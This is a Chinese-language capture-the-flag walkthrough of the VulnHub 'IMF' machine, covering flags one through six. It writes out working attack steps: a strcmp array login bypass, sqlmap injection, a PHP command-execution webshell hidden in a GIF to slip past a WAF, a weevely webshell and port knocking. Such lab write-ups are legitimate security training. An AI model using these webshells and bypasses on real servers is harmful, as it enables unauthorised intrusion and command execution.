MIF
靶机下载链接:
https://download.vulnhub.com/imf/IMF.ova
1.信息收集
查看靶机的ip地址,及开放的端口
nmap -sC -sS -sV 10.7.184.0/24
ip:10.7.184.162 80端口 http服务打开了 可以使用浏览器连接服务器
使用gobuster 进行目录扫描
root@kali:/usr/share/seclists/Discovery# gobuster dir -w
/usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.7.184.162/ -x jsp
2.漏洞发现
查看网页的源代码,发现里面有一些url,分别打开。在
http://10.7.184.162/contact.php
中找到flag
<!-- flag1{YWxsdGhlZmlsZXM=} -->
base64解码后flag1{allthefiles}
发现js文件名有点奇怪
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==
base64解码后得到flag2{aW1mYWRtaW5pc3RyYXRvcg==}
再次解码aW1mYWRtaW5pc3RyYXRvcg==
得到imfadministrator
访问http://10.7.184.162/imfadministrator/ 后进入登陆界面
输入任意用户名显示 Invalid username,所以回到contact.php,复制联系人邮箱的前半部分,这里我用的是rmichaels, 之后就只是提示Invalid password了。
查看源码发现注释
通过分析注释得知密码是直接写在php文件里的
猜测是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。
所以将源码里的<input name="pass" value="" type="password">
修改成<input name="pass[]" value="" type="password">使pass参数变成array。
提交后发现flag3,base64解码后得到提示:continueTOcms
ps:在登陆的账号输入: rmichaels 再进行上面的修改,最后点击login
flag3{Y29udGludWVUT2Ntcw==} base64解码后 continueTOcms
3.漏洞利用
点击进入CMS页面
http://10.7.184.162/imfadministrator/cms.php?pagename=home
pagename=home 是一个注入点使用sqlmap 注入测试
首先使用burpsuit 抓个包, 把数据复制保存仅一个1233.txt文件
使用sqlmap:
sqlmap -r 1233.txt --dump
发现有一个页面是源代码没有,没有直接跳转的tutorials-incomplete
访问页面:http://10.7.184.162/imfadministrator/cms.php?pagename=tutorials-incomplete
发现里面有张带二维码的图片,扫描二维码得到flag
flag4{dXBsb2Fkcjk0Mi5waHA=} base64解码得uploadr942.php
4.提权
既然得到了,肯定就得试试, 又不会逝世
http://10.7.184.162/imfadministrator/uploadr942.php
ok进入文件上传目录了, 不多说配图先上
在windows得cmd中使用copy 111.jpg /b + 222.txt /a 333.jpg
.jpg为图片 txt为一句话木马:<?php $s=$_GET['s']; echo `$s`; ?> 最后为新创图片
ps:上述图片马是损坏得,也可以使用winhex弄张不损坏得图片
直接使用一句话木马做的图片是不行得会报错
Error: CrappyWAF detected malware. Signature: Eval php function detected
上传一张444.gif木马图片成功,借着就是寻找上传路径
还是使用gobuster目录爆破
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.7.184.162/imfadministrator -x jsp
好吧一眼就看到这个uploads目录,接着还得找一下文件名字,我试了以下原名子发现不行。
我上传了多张图片分析源代码,发现下方这个值一直在变,所以没错文件名就是你了。
访问文件http://10.7.184.162/imfadministrator/uploads/d242d8adbf66.gif?s=ls
得到flag5_abc123def.txt 然后就得打开flag文件了
再次访问10.7.184.162/imfadministrator/uploads/d242d8adbf66.gif?s=cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==} base64得 agentservices :代理服务
所以下一个flag和代理服务(agent service)有关,就必须进入系统拿到权限才行
FLAG 6
root@kali:/home/heavm/桌面# weevely generate shell shell.php
//使用命令 创建一个密码为 shell 文件名为shell.php的webshell
随意添加GIF值制作图片木马,将文件后缀名从 .php改为.gif
上传文件
打开源代码,查看文件名为f607f4ed4584.gif
使用命令连接:
weevely http://10.7.184.162/imfadministrator/uploads/69fea8f76407.gif shell
当然flag5,也可以在这里获取
查看开放的端口netstat,根据开放的端口查看各个端口的服务功能,
发现7788端口是代理服务
使用命令ps -aux 查看进程 ,knockd 打开 需要敲门
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”(访问端口),使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
找到文件,看文件, 找到access_codes 得到敲门的顺序是7482,8279,9467
可以使用nc 或者nmap敲门
使用nmap查看端口, 全被filtered (过滤了)
开始使用knock敲门
knock 10.7.184.162 7482 8279 9467
然后使用nmap查看7788代理服务端口是否打开:
nmap -p 7788 10.7.184.162
ps:kali中knock安装命令:
sudo apt-get install knockd
接下来就得一个agent文件
安装ltrace
编译安装 agent
运行agent 得到agent id :48093572
使用nc连接 nc 10.7.184.162 7788 然后把输入agent id :48093572
得到 flag 6
参考链接:
https://blog.csdn.net/qq_38005854/article/details/105542493
https://www.freebuf.com/articles/system/177116.html